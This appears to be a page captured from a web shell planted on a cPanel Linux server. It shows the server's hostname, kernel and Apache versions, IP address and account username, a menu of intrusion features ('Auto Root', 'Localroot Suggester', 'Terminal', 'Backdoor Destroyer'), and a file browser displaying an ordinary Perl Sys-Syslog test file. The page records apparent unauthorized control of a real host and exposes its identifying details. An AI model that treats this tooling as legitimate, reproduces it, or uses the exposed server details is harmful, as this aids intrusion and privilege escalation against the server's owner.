Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Sys-Syslog /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
00-load.t
171
B
-r--r--r--
2014-12-27 11:48
constants.t
1.19
KB
-r--r--r--
2014-12-27 11:48
facilities-routing.t
4.19
KB
-r--r--r--
2014-12-27 11:48
syslog.t
12.36
KB
-r--r--r--
2014-12-27 11:48
Save
Rename
#!perl -wT use strict; use File::Spec; use Test::More; my $macrosall = 'macros.all'; open(MACROS, $macrosall) or plan skip_all => "can't read '$macrosall': $!"; my @names = map {chomp;$_} <MACROS>; close(MACROS); plan tests => @names * 2 + 2; my $callpack = my $testpack = 'Sys::Syslog'; eval "use $callpack"; eval "${callpack}::This()"; like( $@, "/^This is not a valid $testpack macro/", "trying a non-existing macro"); eval "${callpack}::NOSUCHNAME()"; like( $@, "/^NOSUCHNAME is not a valid $testpack macro/", "trying a non-existing macro"); # Testing all macros if(@names) { for my $name (@names) { SKIP: { $name =~ /^(\w+)$/ or skip "invalid name '$name'", 2; $name = $1; my $v = eval "${callpack}::$name()"; if(defined $v and $v =~ /^\d+$/) { is( $@, '', "calling the constant $name as a function" ); like( $v, '/^\d+$/', "checking that $name is a number ($v)" ); } else { like( $@, "/^Your vendor has not defined $testpack macro $name/", "calling the constant via its name" ); skip "irrelevant test in this case", 1 } } } }